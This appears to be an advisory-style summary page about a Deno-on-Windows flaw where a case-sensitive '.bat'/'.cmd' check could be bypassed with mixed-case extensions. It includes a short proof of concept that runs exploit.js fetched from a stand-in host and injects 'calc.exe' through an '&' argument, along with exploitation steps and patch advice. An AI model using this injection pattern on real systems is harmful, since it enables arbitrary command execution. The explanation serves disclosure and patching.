Listen to this Post
This vulnerability is a bypass of a previous patch (CVE-2025-61787) in the Deno runtime for Windows. The original fix aimed to prevent command injection by blocking the execution of batch files (.bat, .cmd) via Deno’s subprocess spawning APIs (like Deno.run). It implemented this by checking if the file extension of the spawned command path matched the lowercase strings “.bat” or “.cmd”. However, this check was case-sensitive. On Windows, which has a case-insensitive filesystem, an attacker could craft a file with an extension using alternate casing, such as “.BAT” or “.Cmd”. The Deno security check would fail to recognize this as a restricted extension because it only compared against lowercase literals. Consequently, the file would execute, allowing arbitrary command injection if user-controlled input influenced the spawned command path. This bypass demonstrates the classic pitfall of performing case-sensitive string operations in a case-insensitive environment, leaving the protection mechanism incomplete and ineffective against simple obfuscation.
DailyCVE Form:
Platform: Deno
Version: < 2.5.6
Vulnerability: Command Injection Bypass
Severity: High
Date: Jan 15 2026
Prediction: Patch: Jan 16 2026
What Undercode Say:
Simulating the vulnerable extension check (pseudo-code)
if (ext == ".bat" || ext == ".cmd") { block(); }
Bypass with: malicious.BAT
Proof-of-Concept command
deno run --allow-run https://example.com/exploit.js
where exploit.js contains:
await Deno.run({cmd: ["attacker_controlled.BAT", "&", "calc.exe"]});
Patched check should use case-insensitive comparison
if (ext.toLowerCase() == ".bat" || ext.toLowerCase() == ".cmd") { block(); }
How Exploit:
1. Attacker creates a `.BAT` file.
2. User application passes user input to `Deno.run()`.
3. Path resolution uses the mixed-case extension.
4. Case-sensitive check fails, batch file executes.
5. Injected commands in script/arguments run.
Protection from this CVE:
Update to Deno v2.5.6. Implement case-insensitive extension validation. Sanitize all user input for subprocess commands.
Impact:
Arbitrary command execution. System compromise. Bypass of security sandbox.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
